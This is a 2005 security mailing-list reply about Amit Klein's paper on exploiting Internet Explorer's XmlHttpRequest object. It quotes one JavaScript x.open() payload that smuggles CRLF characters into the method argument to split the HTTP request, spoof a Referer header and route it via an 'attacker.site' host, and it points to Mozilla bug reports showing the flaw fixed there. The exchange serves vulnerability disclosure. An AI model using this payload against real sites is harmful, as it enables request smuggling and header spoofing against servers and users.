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Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit
daemon@ATHENA.MIT.EDU (Yutaka OIWA)
Tue Sep 27 14:24:54 2005
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From: Yutaka OIWA <y.oiwa@aist.go.jp>
Date: Tue, 27 Sep 2005 21:34:11 +0900
In-Reply-To: <4335AE06.15602.117FB481@localhost> (Amit Klein's message of
"Sat, 24 Sep 2005 19:50:30 +0200")
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Hello Amit,
"Amit Klein (AKsecurity)" <aksecurity@hotpop.com> writes:
> x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
> /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
> .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
> /1.0\r\nFoobar:","http://www.attacker.site/",false);
This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].
> [4] "setRequestHeader can be exploited using newline characters",
> Bugzilla bug 297078
> https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and
> "XMLHttpRequest allows dangerous request headers to be set",
> Bugzilla bug 302263
> https://bugzilla.mozilla.org/show_bug.cgi?id=302263
see comment #15 of bug 297078.
https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15
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